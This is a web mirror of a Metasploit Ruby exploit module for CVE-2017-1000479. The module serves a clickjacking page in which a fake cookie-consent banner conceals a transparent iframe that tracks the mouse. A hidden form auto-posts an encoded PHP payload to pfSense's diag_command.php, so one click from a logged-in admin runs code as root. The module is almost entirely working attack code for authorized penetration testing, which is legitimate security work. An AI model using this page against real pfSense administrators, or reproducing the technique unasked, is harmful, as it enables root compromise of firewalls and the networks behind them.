CoCalc Logo Icon
StoreFeaturesDocsShareSupportNewsAboutSign UpSign In
rapid7

CoCalc provides the best real-time collaborative environment for Jupyter Notebooks, LaTeX documents, and SageMath, scalable from individual users to large groups and classes!

GitHub Repository: rapid7/metasploit-framework
Path: blob/master/modules/exploits/unix/http/pfsense_clickjacking.rb
Views: 1904
1
##
2
# This module requires Metasploit: https://metasploit.com/download
3
# Current source: https://github.com/rapid7/metasploit-framework
4
##
5
6
class MetasploitModule < Msf::Exploit::Remote
7
Rank = NormalRanking
8
9
include Msf::Exploit::Remote::HttpServer::HTML
10
11
def initialize(info = {})
12
super(
13
update_info(
14
info,
15
'Name' => 'Clickjacking Vulnerability In CSRF Error Page pfSense',
16
'Description' => %q{
17
This module exploits a Clickjacking vulnerability in pfSense <= 2.4.1.
18
19
pfSense is a free and open source firewall and router. It was found that the
20
pfSense WebGUI is vulnerable to Clickjacking. By tricking an authenticated admin
21
into interacting with a specially crafted webpage it is possible for an attacker
22
to execute arbitrary code in the WebGUI. Since the WebGUI runs as the root user,
23
this will result in a full compromise of the pfSense instance.
24
},
25
'Author' => 'Yorick Koster',
26
'Payload' => { 'BadChars' => '"' },
27
'License' => MSF_LICENSE,
28
'References' =>
29
[
30
['CVE', '2017-1000479'],
31
['URL', 'https://securify.nl/en/advisory/SFY20171101/clickjacking-vulnerability-in-csrf-error-page-pfsense.html'],
32
['URL', 'https://doc.pfsense.org/index.php/2.4.2_New_Features_and_Changes']
33
],
34
'DefaultOptions' =>
35
{
36
'EXITFUNC' => 'process'
37
},
38
'Arch' => ARCH_PHP,
39
'Platform' => 'php',
40
'Targets' =>
41
[
42
[ 'pfSense <= 2.4.1', { 'auto' => false } ]
43
],
44
'DefaultTarget' => 0,
45
'DisclosureDate' => '2017-11-21'
46
)
47
)
48
49
register_options(
50
[
51
OptString.new('TARGETURI', [true, 'The base path to the web application', 'https://192.168.1.1'])
52
]
53
)
54
end
55
56
def js_file
57
@js ||= lambda {
58
path = File.join(Msf::Config.data_directory, 'exploits', 'pfsense_clickjacking', 'cookieconsent.min.js')
59
return File.read(path)
60
}.call
61
end
62
63
def css_file
64
@css ||= lambda {
65
path = File.join(Msf::Config.data_directory, 'exploits', 'pfsense_clickjacking', 'cookieconsent.min.css')
66
return File.read(path)
67
}.call
68
end
69
70
def background_file
71
@background ||= lambda {
72
path = File.join(Msf::Config.data_directory, 'exploits', 'pfsense_clickjacking', 'background.jpg')
73
return File.read(path)
74
}.call
75
end
76
77
def on_request_uri(cli, request)
78
print_status("GET #{request.uri} #{request.headers['User-Agent']}")
79
80
resp = create_response(200, "OK")
81
if request.uri =~ /\.js$/
82
resp.body = js_file
83
resp['Content-Type'] = 'text/javascript'
84
85
elsif request.uri =~ /\.css$/
86
resp.body = css_file
87
resp['Content-Type'] = 'text/css'
88
89
elsif request.uri =~ /\.jpg$/
90
resp.body = background_file
91
resp['Content-Type'] = 'image/jpg'
92
93
else
94
if datastore['TARGETURI'].end_with? '/'
95
url = datastore['TARGETURI'] + 'diag_command.php'
96
else
97
url = datastore['TARGETURI'] + '/diag_command.php'
98
end
99
framename = rand_text_alpha(16)
100
divname = rand_text_alpha(16)
101
resp.body = %Q|<!DOCTYPE html>
102
<html>
103
<meta charset="utf-8">
104
<link rel="stylesheet" type="text/css" href="#{get_resource.chomp('/')}/cookieconsent.min.css" />
105
<script src="#{get_resource.chomp('/')}/cookieconsent.min.js"></script>
106
<script>
107
window.addEventListener("load", function(){
108
window.cookieconsent.initialise({
109
"palette": {
110
"popup": {
111
"background": "#000",
112
"text": "#0f0"
113
},
114
"button": {
115
"background": "#0f0"
116
}
117
},
118
"position": "top",
119
"static": true
120
});
121
});
122
</script>
123
<script>
124
document.cookie = 'cookieconsent_status=; expires=Thu, 01 Jan 1970 00:00:01 GMT;';
125
window.addEventListener('load', function(){
126
document.forms[0].post.click();
127
document.onmousemove = function(e) {
128
var e = e \|\| window.event;
129
var s = document.getElementById('#{divname}');
130
s.style.left = (e.clientX - 10) + 'px';
131
s.style.top = (e.clientY - 5) + 'px';
132
};
133
});
134
</script>
135
<body style="background-image:url(#{get_resource.chomp('/')}/background.jpg);background-size:cover;">
136
<div id="#{divname}" style="position:absolute;z-index:10;border:none;width:20px;height:10px;overflow:hidden;opacity:0.0;">
137
<iframe src="about:blank" name="#{framename}" sandbox="allow-forms" border="no" scrolling="no" width="800" height="800" style="width:400px;height:800px;margin-top:-70px;margin-left:-40px;"></iframe>
138
</div>
139
<div style="display:none">
140
<form action="#{url}" method="POST" enctype="multipart/form-data" target="#{framename}">
141
<input type="hidden" name="txtPHPCommand" value="#{payload.encoded}" />
142
<input type="hidden" name="submit" value="EXECPHP" />
143
<input type="submit" name="post"/>
144
</form>
145
</div>
146
</body>
147
</html>
148
|
149
resp['Content-Type'] = 'text/html'
150
end
151
152
cli.send_response(resp)
153
end
154
end
155
156